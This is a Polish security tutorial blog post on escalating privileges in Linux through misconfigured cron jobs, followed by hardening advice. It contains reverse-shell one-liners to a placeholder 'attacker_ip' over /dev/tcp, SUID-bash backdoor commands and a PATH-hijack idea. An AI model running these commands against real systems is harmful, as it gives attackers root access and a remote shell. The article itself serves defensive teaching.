Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień
Hacking Linux

Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień

Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień


🕒 Wprowadzenie

Mechanizmy harmonogramów zadań, takie jak cron w systemach Linux, są powszechnie wykorzystywane do uruchamiania skryptów i procesów w określonym czasie lub cyklu. Niestety, niewłaściwa konfiguracja lub brak odpowiednich uprawnień może prowadzić do eskalacji uprawnień, jeśli złośliwy użytkownik przejmie kontrolę nad wykonywanym skryptem lub jego środowiskiem. Artykuł ten opisuje, jak takie ataki są możliwe, jak je wykrywać oraz jak im zapobiegać.


🔎 Jak znaleźć zadania crona

Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień
Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień

Zadania cron mogą być konfigurowane w wielu miejscach systemu. Ich identyfikacja to pierwszy krok w analizie potencjalnych luk bezpieczeństwa.

📁 Sprawdzanie plików systemowych crona

cat /etc/crontab

Zawiera zadania systemowe i informacje o użytkowniku, w kontekście którego są uruchamiane.

📂 Katalogi zawierające zadania cykliczne

ls -la /etc/cron.hourly
ls -la /etc/cron.daily
ls -la /etc/cron.weekly
ls -la /etc/cron.monthly

Znajdziesz tu skrypty, które mogą być wykonywane z uprawnieniami roota.

🔍 Crontaby poszczególnych użytkowników

crontab -l

Wyświetla cron dla bieżącego użytkownika. Aby zobaczyć innych:

sudo ls /var/spool/cron/crontabs

💣 Techniki wstrzykiwania poleceń i eskalacji


Niewłaściwie zabezpieczone skrypty i foldery wykonywane przez cron mogą być wykorzystane przez atakującego do przejęcia kontroli nad systemem.

Czytaj  Przywracanie systemu Windows 11 do poprzedniego stanu: kiedy i jak to zrobić

📝 Nadpisywanie skryptów

Jeśli skrypt lub jego folder ma nieprawidłowe uprawnienia (np. rw-rw-rw-), może zostać nadpisany przez zwykłego użytkownika.

📌 Przykład:

  1. Skrypt /etc/cron.daily/backup.sh jest uruchamiany jako root.
  2. Skrypt posiada uprawnienia do zapisu dla wszystkich:
    -rw-rw-rw- 1 root root 1234 Jan 1 12:00 /etc/cron.daily/backup.sh
    
  3. Użytkownik john edytuje plik:
    echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > /etc/cron.daily/backup.sh
    
  4. Atakujący odbiera połączenie zwrotne jako root.

🔁 Wstrzykiwanie komend do istniejących plików

Niektóre skrypty cron mogą ładować pliki konfiguracyjne lub środowiskowe, np. przez source /etc/config.sh.

Jeśli plik /etc/config.sh ma słabe uprawnienia:

echo "chmod u+s /bin/bash" >> /etc/config.sh

…po wykonaniu skryptu użytkownik uzyska dostęp do shella z podniesionymi uprawnieniami.


📦 Własne cronjoby z uprawnieniami innych użytkowników

Czasem użytkownik ma prawo edytować crontab innego użytkownika (np. sudo crontab -u root -e), co umożliwia dodanie złośliwego zadania:

* * * * * root bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

🧪 Praktyczne przykłady eskalacji uprawnień


💡 Przykład 1: Skrypt w katalogu zapisywalnym

Skrypt uruchamiany przez crona znajduje się w katalogu /opt/scripts/, a jego uprawnienia wyglądają tak:

drwxrwxrwx 2 root root 4096 Jan 1 12:00 /opt/scripts/

Użytkownik może wrzucić złośliwy skrypt, np.:

echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > /opt/scripts/malicious.sh

Skrypt zostanie uruchomiony przez cron z uprawnieniami roota.


💡 Przykład 2: Zadanie z podatną komendą

W crontab -e znajduje się linia:

* * * * * root tar -czf /tmp/backup.tar.gz /home/user/

Atakujący może stworzyć alias tar lub umieścić złośliwy plik tar w swoim katalogu, który zostanie wykonany zamiast oryginalnego binarnego tar, jeśli PATH nie jest bezpiecznie ustawiony.


🛡️ Jak się bronić przed atakami przez cron


🔒 Ustawiaj restrykcyjne uprawnienia

  • Skrypty powinny być czytelne tylko dla właściciela:
    chmod 700 /etc/cron.daily/myscript.sh
    
  • Katalogi z cronjobami nie powinny mieć zapisu dla innych użytkowników:
    chmod 755 /etc/cron.*
    

📦 Używaj pełnych ścieżek do binarek w skryptach

Zamiast:

tar -czf backup.tar.gz /home/user

Zapisz:

/bin/tar -czf /home/user/backup.tar.gz /home/user

🔍 Regularnie audytuj zadania cron

  • Sprawdzaj zawartość /etc/crontab oraz /etc/cron.*
  • Używaj narzędzi typu linpeas lub pspy do wykrywania nieznanych zadań
  • Loguj działania skryptów, np. do /var/log/cron.log

📑 Podsumowanie


Ataki na cron i zaplanowane zadania to klasyczny, ale nadal skuteczny wektor eskalacji uprawnień w środowiskach linuksowych. Wykorzystując błędy w konfiguracji, nadpisując skrypty lub manipulując ścieżkami binarek, atakujący może uzyskać pełen dostęp do systemu.

Czytaj  Buffer Overflow – klasyczna podatność, która wciąż zagraża systemom

🔐 Obrona wymaga:

  • Ścisłej kontroli uprawnień
  • Przeglądania skryptów i katalogów wykonywanych przez cron
  • Stosowania dobrych praktyk (pełne ścieżki, logging, audyty)

Dbałość o cron to jeden z fundamentów bezpiecznego systemu Linux.

 

Polecane wpisy
Eskalacja Uprawnień w Systemach Windows: Od Użytkownika do Administratora
Eskalacja Uprawnień w Systemach Windows: Od Użytkownika do Administratora

Eskalacja Uprawnień w Systemach Windows: Od Użytkownika do Administratora Hacking to proces, który wkracza w obszar bezpieczeństwa systemów komputerowych i Czytaj dalej

Instalacja Linux Mint z USB
Instalacja Linux Mint z USB

Instalacja Linux Mint z USB Linux Mint to popularna dystrybucja Linuksa, która oferuje łatwe w użyciu środowisko graficzne i szeroki Czytaj dalej

Marek "Netbe" Lampart Inżynier informatyki Marek Lampart to doświadczony inżynier informatyki z ponad 25-letnim stażem w zawodzie. Specjalizuje się w systemach Windows i Linux, bezpieczeństwie IT, cyberbezpieczeństwie, administracji serwerami oraz diagnostyce i optymalizacji systemów. Na netbe.pl publikuje praktyczne poradniki, analizy i instrukcje krok po kroku, pomagając administratorom, specjalistom IT oraz zaawansowanym użytkownikom rozwiązywać realne problemy techniczne.